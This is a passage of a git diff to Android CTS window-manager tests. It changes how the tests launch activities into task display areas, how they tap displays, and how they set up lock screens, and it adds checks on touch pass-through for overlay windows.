 
         try {
@@ -367,6 +368,7 @@
                     .setUseInstrumentation()
                     .setTargetActivity(BROADCAST_RECEIVER_ACTIVITY)
                     .setWindowingMode(WINDOWING_MODE_FULLSCREEN)
+                    .setLaunchTaskDisplayAreaFeatureId(homeTaskDisplayAreaFeatureId)
                     .setIntentFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_TASK_ON_HOME).execute();
             mWmState.waitForActivityState(BROADCAST_RECEIVER_ACTIVITY, STATE_RESUMED);
         } finally {
@@ -396,21 +398,25 @@
             mWmState.assertHomeActivityVisible(true /* visible */);
         }
 
+        // If home activity is present we will launch the activities into the same TDA as the home,
+        // otherwise we will launch the second activity into the same TDA as the first one.
+        int launchTaskDisplayAreaFeatureId = hasHomeScreen()
+                ? mWmState.getTaskDisplayAreaFeatureId(mWmState.getHomeActivityName())
+                : FEATURE_UNDEFINED;
+
         // Launch an activity that calls "moveTaskToBack" to finish itself.
-        launchActivity(MOVE_TASK_TO_BACK_ACTIVITY, extraString(EXTRA_FINISH_POINT, finishPoint));
+        launchActivityOnTaskDisplayArea(MOVE_TASK_TO_BACK_ACTIVITY, WINDOWING_MODE_FULLSCREEN,
+                launchTaskDisplayAreaFeatureId, DEFAULT_DISPLAY,
+                extraString(EXTRA_FINISH_POINT, finishPoint));
+
         mWmState.assertVisibility(MOVE_TASK_TO_BACK_ACTIVITY, true);
 
-        // Launch a different activity on top.
-        launchActivity(BROADCAST_RECEIVER_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
+        // Launch a different activity on top into the same TaskDisplayArea.
+        launchTaskDisplayAreaFeatureId =
+                mWmState.getTaskDisplayAreaFeatureId(MOVE_TASK_TO_BACK_ACTIVITY);
+        launchActivityOnTaskDisplayArea(BROADCAST_RECEIVER_ACTIVITY, WINDOWING_MODE_FULLSCREEN,
+                launchTaskDisplayAreaFeatureId, DEFAULT_DISPLAY);
         mWmState.waitForActivityState(BROADCAST_RECEIVER_ACTIVITY, STATE_RESUMED);
-        // Assert activity state and visibility only if both tasks were launched
-        // in the same task display area.
-        WindowManagerState.DisplayArea firstTaskTda = mWmState
-                .getTaskDisplayArea(MOVE_TASK_TO_BACK_ACTIVITY);
-        WindowManagerState.DisplayArea secondTaskTda = mWmState
-                .getTaskDisplayArea(BROADCAST_RECEIVER_ACTIVITY);
-        assumeTrue("Tasks were not launched in the same display area ",
-                firstTaskTda == secondTaskTda);
         mWmState.waitForActivityState(MOVE_TASK_TO_BACK_ACTIVITY,STATE_STOPPED);
         final boolean shouldBeVisible =
                 !mWmState.isBehindOpaqueActivities(MOVE_TASK_TO_BACK_ACTIVITY);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
index 79bbe9c..759b4e1 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
@@ -351,7 +351,9 @@
 
             // Launch a new fullscreen activity
             // Using Animation Test Activity because it is opaque on all devices.
-            launchActivityOnDisplay(ANIMATION_TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN, mAssistantDisplayId);
+            int launchTDAId = mWmState.getTaskDisplayAreaFeatureId(ASSISTANT_ACTIVITY);
+            launchActivityOnTaskDisplayArea(ANIMATION_TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN,
+                    launchTDAId, mAssistantDisplayId);
             // If the activity is not launched in same TDA, ASSISTANT_ACTIVITY will be visible.
             assumeTrue("Should launch in same TDA",
                     mWmState.getTaskDisplayArea(ASSISTANT_ACTIVITY)
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java
index b0f86ba..832cec5 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java
@@ -57,6 +57,7 @@
 import android.content.pm.PackageManager;
 import android.graphics.Insets;
 import android.graphics.Path;
+import android.graphics.Point;
 import android.graphics.Rect;
 import android.hardware.display.DisplayManager;
 import android.os.Bundle;
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardLockedTests.java b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardLockedTests.java
index 62a5ac7..354807f 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardLockedTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardLockedTests.java
@@ -394,7 +394,7 @@
 
         lockScreenSession.setLockCredential().gotoKeyguard();
         assertTrue("Keyguard is showing", mWmState.getKeyguardControllerState().keyguardShowing);
-        lockScreenSession.enterAndConfirmLockCredential();
+        lockScreenSession.unlockDevice().enterAndConfirmLockCredential();
         mWmState.waitAndAssertKeyguardGone();
 
         final ImeEventStream stream = mockImeSession.openEventStream();
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java
index edd15ad..92bc245 100755
--- a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java
@@ -423,11 +423,14 @@
                 .setTargetActivity(occludingActivity).execute();
 
         // Launch an activity without SHOW_WHEN_LOCKED and finish it.
+        final int tdaFeatureId = mWmState.getTaskDisplayAreaFeatureId(occludingActivity);
         getLaunchActivityBuilder().setUseInstrumentation()
                 .setMultipleTask(true)
                 // Don't wait for activity visible because keyguard will show.
                 .setWaitForLaunched(false)
-                .setTargetActivity(BROADCAST_RECEIVER_ACTIVITY).execute();
+                .setTargetActivity(BROADCAST_RECEIVER_ACTIVITY)
+                .setLaunchTaskDisplayAreaFeatureId(tdaFeatureId)
+                .execute();
         mWmState.waitForKeyguardShowingAndNotOccluded();
         // The activity should be launched in same TDA to ensure that
         // keyguard is showing and not occluded.
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ManifestLayoutTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ManifestLayoutTests.java
index 083b9b1..3e5b5d6 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ManifestLayoutTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ManifestLayoutTests.java
@@ -42,6 +42,7 @@
 import org.junit.Test;
 
 import java.util.List;
+import android.util.DisplayMetrics;
 
 /**
  * Build/Install/Run:
@@ -117,8 +118,9 @@
         }
         getDisplayAndWindowState(BOTTOM_RIGHT_LAYOUT_ACTIVITY, false);
 
-        final int minWidth = dpToPx(MIN_WIDTH_DP, mDisplay.getDpi());
-        final int minHeight = dpToPx(MIN_HEIGHT_DP, mDisplay.getDpi());
+        // Use default density because ActivityInfo.WindowLayout is initialized by that.
+        final int minWidth = dpToPx(MIN_WIDTH_DP, DisplayMetrics.DENSITY_DEVICE_STABLE);
+        final int minHeight = dpToPx(MIN_HEIGHT_DP, DisplayMetrics.DENSITY_DEVICE_STABLE);
         final Rect containingRect = mWindowState.getContainingFrame();
         final int cutoutSize = getCutoutSizeByHorGravity(GRAVITY_HOR_LEFT);
 
@@ -158,7 +160,7 @@
             expectedWidthPx = (int) (stableBounds.width() * DEFAULT_WIDTH_FRACTION);
             expectedHeightPx = (int) (stableBounds.height() * DEFAULT_HEIGHT_FRACTION);
         } else {
-            final int densityDpi = mDisplay.getDpi();
+            final int densityDpi = DisplayMetrics.DENSITY_DEVICE_STABLE;
             expectedWidthPx = dpToPx(DEFAULT_WIDTH_DP, densityDpi);
             expectedHeightPx = dpToPx(DEFAULT_HEIGHT_DP, densityDpi);
         }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
index e7d6650..58df952 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
@@ -570,9 +570,7 @@
         waitAndAssertActivityStateOnDisplay(TEST_ACTIVITY, STATE_RESUMED, newDisplay.mId,
                 "Activity launched on secondary display must be resumed");
 
-        // Tap on task center to switch focus between displays. Using task center instead of
-        // display center to cover the multi window scenario.
-        tapOnTaskCenter(mWmState.getTaskByActivity(VIRTUAL_DISPLAY_ACTIVITY));
+        tapOnDisplayCenter(DEFAULT_DISPLAY);
 
         waitAndAssertTopResumedActivity(VIRTUAL_DISPLAY_ACTIVITY, DEFAULT_DISPLAY,
                 "Top activity must be on the primary display");
@@ -626,9 +624,7 @@
         assertBothDisplaysHaveResumedActivities(pair(DEFAULT_DISPLAY, RESIZEABLE_ACTIVITY),
                 pair(newDisplay.mId, TEST_ACTIVITY));
 
-        // Tap on task center to switch focus between displays. Using task center instead of
-        // display center to cover the multi window scenario.
-        tapOnTaskCenter(mWmState.getTaskByActivity(RESIZEABLE_ACTIVITY));
+        tapOnDisplayCenter(DEFAULT_DISPLAY);
 
         // Check that the activity on the primary display is the topmost resumed
         waitAndAssertTopResumedActivity(RESIZEABLE_ACTIVITY, DEFAULT_DISPLAY,
@@ -679,9 +675,7 @@
         mWmState.assertFocusedAppOnDisplay("Activity on second display must be focused.",
                 VIRTUAL_DISPLAY_ACTIVITY, newDisplay.mId);
 
-        // Tap on task center to switch focus between displays. Using task center instead of
-        // display center to cover the multi window scenario.
-        tapOnTaskCenter(mWmState.getTaskByActivity(TEST_ACTIVITY));
+        tapOnDisplayCenter(DEFAULT_DISPLAY);
 
         waitAndAssertTopResumedActivity(TEST_ACTIVITY, DEFAULT_DISPLAY,
                 "Activity should be top resumed when tapped.");
@@ -875,9 +869,7 @@
         waitAndAssertTopResumedActivity(SDK_27_TEST_ACTIVITY, newDisplay.mId,
                 "Activity launched on secondary display must be resumed and focused");
 
-        // Tap on task center to switch focus between displays. Using task center instead of
-        // display center to cover the multi window scenario.
-        tapOnTaskCenter(mWmState.getTaskByActivity(SDK_27_LAUNCHING_ACTIVITY));
+        tapOnDisplayCenter(DEFAULT_DISPLAY);
         waitAndAssertTopResumedActivity(SDK_27_LAUNCHING_ACTIVITY, DEFAULT_DISPLAY,
                 "Activity launched on default display must be resumed and focused");
         assertEquals("There must be only one resumed activity in the package.", 1,
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java
index 772bae1..0e7ccb7 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java
@@ -507,11 +507,9 @@
         final DisplayContent defDisplay = mWmState.getDisplay(DEFAULT_DISPLAY);
         final ImeEventStream stream = mockImeSession.openEventStream();
 
-        // Tap on the imeTestActivity task center instead of the display center because
-        // the activity might not be spanning the entire display
-        WindowManagerState.Task imeTestActivityTask = mWmState
-                .getTaskByActivity(imeTestActivitySession.getActivity().getComponentName());
-        tapOnTaskCenter(imeTestActivityTask);
+        // Tap default display as top focused display & request focus on EditText to show
+        // soft input.
+        tapOnDisplayCenter(defDisplay.mId);
         expectEvent(stream, editorMatcher("onStartInput",
                 imeTestActivitySession.getActivity().mEditText.getPrivateImeOptions()), TIMEOUT);
         showSoftInputAndAssertImeShownOnDisplay(defDisplay.mId, imeTestActivitySession, stream);
@@ -523,11 +521,8 @@
                 imeTestActivitySession2.getActivity().mEditText.getPrivateImeOptions()), TIMEOUT);
         showSoftInputAndAssertImeShownOnDisplay(newDisplay.mId, imeTestActivitySession2, stream);
 
-        // Tap on the imeTestActivity task center instead of the display center because
-        // the activity might not be spanning the entire display
-        imeTestActivityTask = mWmState
-                .getTaskByActivity(imeTestActivitySession.getActivity().getComponentName());
-        tapOnTaskCenter(imeTestActivityTask);
+        // Tap default display again to make sure the IME window will come back.
+        tapOnDisplayCenter(defDisplay.mId);
         expectEvent(stream, editorMatcher("onStartInput",
                 imeTestActivitySession.getActivity().mEditText.getPrivateImeOptions()), TIMEOUT);
         showSoftInputAndAssertImeShownOnDisplay(defDisplay.mId, imeTestActivitySession, stream);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
index eac8da3..3e052f3 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
@@ -907,14 +907,18 @@
          * 3) Bring the activity in the dynamic stack forward to trigger PiP
          */
         launchActivity(RESUME_WHILE_PAUSING_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
+        final int taskDisplayAreaFeatureId =
+                mWmState.getTaskDisplayAreaFeatureId(RESUME_WHILE_PAUSING_ACTIVITY);
         // Launch an activity that will enter PiP when it is paused with a delay that is long enough
         // for the next resumeWhilePausing activity to finish resuming, but slow enough to not
         // trigger the current system pause timeout (currently 500ms)
-        launchActivity(PIP_ACTIVITY, WINDOWING_MODE_FULLSCREEN,
+        launchActivityOnTaskDisplayArea(PIP_ACTIVITY, WINDOWING_MODE_FULLSCREEN,
+                taskDisplayAreaFeatureId,
                 extraString(EXTRA_ENTER_PIP_ON_PAUSE, "true"),
                 extraString(EXTRA_ON_PAUSE_DELAY, "350"),
                 extraString(EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP, "true"));
-        launchActivity(RESUME_WHILE_PAUSING_ACTIVITY);
+        launchActivityOnTaskDisplayArea(RESUME_WHILE_PAUSING_ACTIVITY,
+                WINDOWING_MODE_UNDEFINED, taskDisplayAreaFeatureId);
         // if the activity is not launched in same TDA, pip is not triggered.
         assumeTrue("Should launch in same tda",
                 mWmState.getTaskDisplayArea(RESUME_WHILE_PAUSING_ACTIVITY)
@@ -1297,8 +1301,8 @@
         launchActivity(PIP_ACTIVITY, extraString(EXTRA_ALLOW_AUTO_PIP, "true"));
         assertPinnedStackDoesNotExist();
 
-        // Go home and ensure that there is a pinned stack.
-        launchHomeActivity();
+        // Launch a new activity and ensure that there is a pinned stack.
+        launchActivity(RESUME_WHILE_PAUSING_ACTIVITY);
         waitForEnterPip(PIP_ACTIVITY);
         assertPinnedStackExists();
         waitAndAssertActivityState(PIP_ACTIVITY, STATE_PAUSED, "activity must be paused");
@@ -1308,10 +1312,13 @@
     public void testAutoPipOnLaunchingAnotherActivity() {
         // Launch the PIP activity and set its pip params to allow auto-pip.
         launchActivity(PIP_ACTIVITY, extraString(EXTRA_ALLOW_AUTO_PIP, "true"));
+        final int taskDisplayAreaFeatureId =
+                mWmState.getTaskDisplayAreaFeatureId(PIP_ACTIVITY);
         assertPinnedStackDoesNotExist();
 
         // Launch another and ensure that there is a pinned stack.
-        launchActivity(TEST_ACTIVITY);
+        launchActivityOnTaskDisplayArea(TEST_ACTIVITY, WINDOWING_MODE_UNDEFINED,
+                taskDisplayAreaFeatureId);
         // if the activities do not launch in same TDA, pip is not triggered.
         assumeTrue("Should launch in same tda",
                 mWmState.getTaskDisplayArea(PIP_ACTIVITY)
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java b/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
index 0fe1a44..b05f1c2 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
@@ -285,7 +285,41 @@
         waitAndAssertResumedActivity(mActivityC, "Activity C must be resumed.");
         waitAndAssertActivityState(mActivityB, STATE_STOPPED,
                 "Activity B is occluded by Activity C, so it must be stopped.");
-        waitAndAssertResumedActivity(mActivityA, "Activity B must be resumed.");
+        waitAndAssertResumedActivity(mActivityA, "Activity A must be resumed.");
+    }
+
+    /**
+     * Verifies the behavior of the activities in a TaskFragment that is sandwiched in adjacent
+     * TaskFragments. It should be hidden even if part of it is not cover by the adjacent
+     * TaskFragment above.
+     */
+    @Test
+    public void testSandwichTaskFragmentInAdjacent_partialOccluding() {
+        // Initialize test environment by launching Activity A and B side-by-side.
+        initializeSplitActivities(false /* verifyEmbeddedTask */);
+
+        final IBinder taskFragTokenA = mTaskFragA.getTaskFragToken();
+        // TaskFragment C is not fully occluding TaskFragment B.
+        final Rect partialOccludingSideBounds = new Rect(mSideBounds);
+        partialOccludingSideBounds.left += 50;
+        final TaskFragmentCreationParams paramsC = mTaskFragmentOrganizer.generateTaskFragParams(
+                mOwnerToken, partialOccludingSideBounds, WINDOWING_MODE_MULTI_WINDOW);
+        final IBinder taskFragTokenC = paramsC.getFragmentToken();
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                // Create the side TaskFragment for C and launch
+                .createTaskFragment(paramsC)
+                .startActivityInTaskFragment(taskFragTokenC, mOwnerToken, mIntent,
+                        null /* activityOptions */)
+                .setAdjacentTaskFragments(taskFragTokenA, taskFragTokenC, null /* options */);
+
+        mTaskFragmentOrganizer.applyTransaction(wct);
+        // Wait for the TaskFragment of Activity C to be created.
+        mTaskFragmentOrganizer.waitForTaskFragmentCreated();
+
+        waitAndAssertResumedActivity(mActivityC, "Activity C must be resumed.");
+        waitAndAssertActivityState(mActivityB, STATE_STOPPED,
+                "Activity B is occluded by Activity C, so it must be stopped.");
+        waitAndAssertResumedActivity(mActivityA, "Activity A must be resumed.");
     }
 
     /**
@@ -503,7 +537,10 @@
     public void testLaunchEmbeddedActivityWithShowWhenLocked() {
         assumeTrue(supportsLockScreen());
 
+        // Create lock screen session and set credentials (since some devices will not show a
+        // lockscreen without credentials set).
         final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+        lockScreenSession.setLockCredential();
         // Initialize test environment by launching Activity A and B (with showWhenLocked)
         // side-by-side.
         initializeSplitActivities(false /* verifyEmbeddedTask */, true /* showWhenLocked */);
@@ -523,7 +560,10 @@
     public void testLaunchEmbeddedActivitiesWithoutShowWhenLocked() {
         assumeTrue(supportsLockScreen());
 
+        // Create lock screen session and set credentials (since some devices will not show a
+        // lockscreen without credentials set).
         final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+        lockScreenSession.setLockCredential();
         // Initialize test environment by launching Activity A and B side-by-side.
         initializeSplitActivities(false /* verifyEmbeddedTask */, false /* showWhenLocked */);
 
@@ -543,7 +583,10 @@
     public void testLaunchEmbeddedActivitiesWithShowWhenLocked() {
         assumeTrue(supportsLockScreen());
 
+        // Create lock screen session and set credentials (since some devices will not show a
+        // lockscreen without credentials set).
         final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+        lockScreenSession.setLockCredential();
         // Initialize test environment by launching Activity A and B side-by-side.
         mOwnerActivity.setShowWhenLocked(true);
         initializeSplitActivities(false /* verifyEmbeddedTask */, true /* showWhenLocked */);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/TransitionSelectionTests.java b/tests/framework/base/windowmanager/src/android/server/wm/TransitionSelectionTests.java
index 2a5de2f..eecab9c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/TransitionSelectionTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/TransitionSelectionTests.java
@@ -346,7 +346,13 @@
         if (!testOpen) {
             topStartCmd += " --ei " + EXTRA_FINISH_DELAY + " 1000";
         }
-        executeShellCommand(topStartCmd + " --windowingMode " + windowingMode);
+        topStartCmd += " --windowingMode " + windowingMode;
+        // Launch top task in the same display area as the bottom task. CTS tests using multiple
+        // tasks assume they will be started in the same task display area.
+        int bottomComponentDisplayAreaFeatureId =
+                mWmState.getTaskDisplayAreaFeatureId(bottomComponent);
+        topStartCmd += " --task-display-area-feature-id " + bottomComponentDisplayAreaFeatureId;
+        executeShellCommand(topStartCmd);
 
         Condition.waitFor("Retrieving correct transition", () -> {
             if (testOpen) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java
index ba66943..cc41397 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java
@@ -63,6 +63,7 @@
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.SystemUtil;
 
+import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.Test;
 
@@ -82,11 +83,13 @@
 
     private final Context mContext = InstrumentationRegistry.getInstrumentation().getContext();
 
+    @Ignore("b/168446060")
     @Test
     public void testShowAndHide_renderSynchronouslyBetweenImeWindowAndAppContent() throws Throwable {
         runTest(false /* useControlApi */);
     }
 
+    @Ignore("b/168446060")
     @Test
     public void testControl_rendersSynchronouslyBetweenImeWindowAndAppContent() throws Throwable {
         runTest(true /* useControlApi */);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsActivityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsActivityTests.java
index 605e336..fe7ded2 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsActivityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsActivityTests.java
@@ -46,6 +46,7 @@
 import androidx.test.filters.FlakyTest;
 
 import org.junit.Test;
+import java.util.function.Supplier;
 
 /**
  * Tests that verify the behavior of {@link WindowMetrics} APIs on {@link Activity activities}.
@@ -202,7 +203,6 @@
         // Resize the freeform activity.
         resizeActivityTask(activity.getComponentName(), WINDOW_BOUNDS.left, WINDOW_BOUNDS.top,
                 WINDOW_BOUNDS.right, WINDOW_BOUNDS.bottom);
-        mWmState.computeState(activity.getComponentName());
 
         assertMetricsMatchesLayout(activity);
 
@@ -210,7 +210,6 @@
         resizeActivityTask(activity.getComponentName(), RESIZED_WINDOW_BOUNDS.left,
                 RESIZED_WINDOW_BOUNDS.top, RESIZED_WINDOW_BOUNDS.right,
                 RESIZED_WINDOW_BOUNDS.bottom);
-        mWmState.computeState(activity.getComponentName());
 
         assertMetricsMatchesLayout(activity);
 
@@ -218,7 +217,6 @@
         resizeActivityTask(activity.getComponentName(), MOVE_OFFSET + RESIZED_WINDOW_BOUNDS.left,
                 MOVE_OFFSET + RESIZED_WINDOW_BOUNDS.top, MOVE_OFFSET + RESIZED_WINDOW_BOUNDS.right,
                 MOVE_OFFSET + RESIZED_WINDOW_BOUNDS.bottom);
-        mWmState.computeState(activity.getComponentName());
 
         assertMetricsMatchesLayout(activity);
     }
@@ -260,19 +258,21 @@
         final OnLayoutChangeListener listener = activity.mListener;
         listener.waitForLayout();
 
-        final WindowMetrics currentMetrics = activity.getWindowManager().getCurrentWindowMetrics();
-        final WindowMetrics maxMetrics = activity.getWindowManager().getMaximumWindowMetrics();
+        final Supplier<WindowMetrics> currentMetrics =
+                () -> activity.getWindowManager().getCurrentWindowMetrics();
+        final Supplier<WindowMetrics> maxMetrics =
+                () -> activity.getWindowManager().getMaximumWindowMetrics();
 
         Condition.waitFor(new Condition<>("WindowMetrics must match layout metrics",
-                () -> currentMetrics.getBounds().equals(listener.getLayoutBounds()))
+                () -> currentMetrics.get().getBounds().equals(listener.getLayoutBounds()))
                 .setRetryIntervalMs(500).setRetryLimit(10)
                 .setOnFailure(unused -> fail("WindowMetrics must match layout metrics. Layout"
                         + "bounds is" + listener.getLayoutBounds() + ", while current window"
-                        + "metrics is " + currentMetrics.getBounds())));
+                        + "metrics is " + currentMetrics.get().getBounds())));
 
         final boolean isFreeForm = activity.getResources().getConfiguration().windowConfiguration
                 .getWindowingMode() == WINDOWING_MODE_FREEFORM;
-        WindowMetricsTestHelper.assertMetricsMatchesLayout(currentMetrics, maxMetrics,
+        WindowMetricsTestHelper.assertMetricsMatchesLayout(currentMetrics.get(), maxMetrics.get(),
                 listener.getLayoutBounds(), listener.getLayoutInsets(), isFreeForm);
     }
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowUntrustedTouchTest.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowUntrustedTouchTest.java
index aa65801..2825d06 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowUntrustedTouchTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowUntrustedTouchTest.java
@@ -346,6 +346,16 @@
     /** SAWs */
 
     @Test
+    public void testWhenOneSawWindowAboveThreshold_allowsTouch() throws Throwable {
+        addSawOverlay(APP_A, WINDOW_1, .9f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        // Opacity will be automatically capped and touches will pass through.
+        assertTouchReceived();
+    }
+
+    @Test
     public void testWhenOneSawWindowBelowThreshold_allowsTouch() throws Throwable {
         addSawOverlay(APP_A, WINDOW_1, .7f);
 
@@ -408,6 +418,18 @@
     }
 
     @Test
+    public void testWhenOneSawWindowAboveThresholdAndSelfSawWindow_allowsTouch()
+            throws Throwable {
+        addSawOverlay(APP_A, WINDOW_1, .9f);
+        addSawOverlay(APP_SELF, WINDOW_1, .7f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        // Opacity will be automatically capped and touches will pass through.
+        assertTouchReceived();
+    }
+
+    @Test
     public void testWhenOneSawWindowBelowThresholdAndSelfSawWindow_allowsTouch()
             throws Throwable {
         addSawOverlay(APP_A, WINDOW_1, .7f);
@@ -443,6 +465,18 @@
     }
 
     @Test
+    public void testWhenThresholdIs0AndSawWindowAboveThreshold_allowsTouch()
+            throws Throwable {
+        setMaximumObscuringOpacityForTouch(0);
+        addSawOverlay(APP_A, WINDOW_1, .1f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        // Opacity will be automatically capped and touches will pass through.
+        assertTouchReceived();
+    }
+
+    @Test
     public void testWhenThresholdIs1AndSawWindowAtThreshold_allowsTouch()
             throws Throwable {
         setMaximumObscuringOpacityForTouch(1);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/intent/LaunchRunner.java b/tests/framework/base/windowmanager/src/android/server/wm/intent/LaunchRunner.java
index aa3e453..c8b5281 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/intent/LaunchRunner.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/intent/LaunchRunner.java
@@ -19,13 +19,13 @@
 import static android.server.wm.intent.Persistence.LaunchFromIntent.prepareSerialisation;
 import static android.server.wm.intent.StateComparisonException.assertEndStatesEqual;
 import static android.server.wm.intent.StateComparisonException.assertInitialStateEqual;
+import static android.window.DisplayAreaOrganizer.FEATURE_UNDEFINED;
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
 import static com.google.common.collect.Iterables.getLast;
 
 import static org.junit.Assert.assertNotNull;
-import static org.junit.Assume.assumeTrue;
 
 import android.app.Activity;
 import android.app.ActivityOptions;
@@ -43,6 +43,7 @@
 import android.server.wm.intent.Persistence.LaunchFromIntent;
 import android.server.wm.intent.Persistence.StateDump;
 import android.view.Display;
+import android.window.DisplayAreaOrganizer;
 
 import com.google.common.collect.Lists;
 
@@ -98,18 +99,19 @@
 
         // Launch the first activity from the start context
         GenerationIntent firstIntent = initialState.get(0);
-        ComponentName firstLaunchActivity = firstIntent.getActualIntent().getComponent();
-        activityLog.add(launchFromContext(initialContext, firstIntent.getActualIntent()));
-
-        int firstActivityTaskDisplayAreaId =
-                mTestBase.getWmState().getTaskDisplayAreaFeatureId(firstLaunchActivity);
+        Activity firstActivity = launchFromContext(initialContext, firstIntent.getActualIntent());
+        // Launch all tasks in the same task display area. CTS tests using multiple tasks assume
+        // they will be started in the same task display area.
+        int firstActivityDisplayAreaFeatureId = mTestBase.getWmState()
+                .getTaskDisplayAreaFeatureId(firstActivity.getComponentName());
+        activityLog.add(firstActivity);
 
         // launch the rest from the initial intents
         for (int i = 1; i < initialState.size(); i++) {
             GenerationIntent generationIntent = initialState.get(i);
             Activity activityToLaunchFrom = activityLog.get(generationIntent.getLaunchFromIndex(i));
             Activity result = launch(activityToLaunchFrom, generationIntent.getActualIntent(),
-                    generationIntent.startForResult(), firstActivityTaskDisplayAreaId);
+                    generationIntent.startForResult(), firstActivityDisplayAreaFeatureId);
             activityLog.add(result);
         }
 
@@ -124,7 +126,7 @@
             Activity activityToLaunchFrom = activityLog.get(
                     generationIntent.getLaunchFromIndex(initialState.size() + i));
             Activity result = launch(activityToLaunchFrom, generationIntent.getActualIntent(),
-                    generationIntent.startForResult(), firstActivityTaskDisplayAreaId);
+                    generationIntent.startForResult(), firstActivityDisplayAreaFeatureId);
             activityLog.add(result);
         }
 
@@ -250,10 +252,16 @@
 
 
     public Activity launchFromContext(Context context, Intent intent) {
+        return launchFromContext(context, intent, FEATURE_UNDEFINED);
+    }
+
+
+    public Activity launchFromContext(Context context, Intent intent,
+                                      int launchTaskDisplayAreaFeatureId) {
         Instrumentation.ActivityMonitor monitor = getInstrumentation()
                 .addMonitor((String) null, null, false);
 
-        context.startActivity(intent, getLaunchOptions());
+        context.startActivity(intent, getLaunchOptions(launchTaskDisplayAreaFeatureId));
         Activity activity = monitor.waitForActivityWithTimeout(ACTIVITY_LAUNCH_TIMEOUT);
         waitAndAssertActivityLaunched(activity, intent);
 
@@ -261,38 +269,31 @@
     }
 
     public Activity launch(Activity activityContext, Intent intent, boolean startForResult) {
-        return launch(activityContext, intent, startForResult, -1);
+        return launch(activityContext, intent, startForResult, FEATURE_UNDEFINED);
     }
 
     public Activity launch(Activity activityContext, Intent intent, boolean startForResult,
-                           int expectedTda) {
+                           int launchTaskDisplayAreaFeatureId) {
         Instrumentation.ActivityMonitor monitor = getInstrumentation()
                 .addMonitor((String) null, null, false);
 
         if (startForResult) {
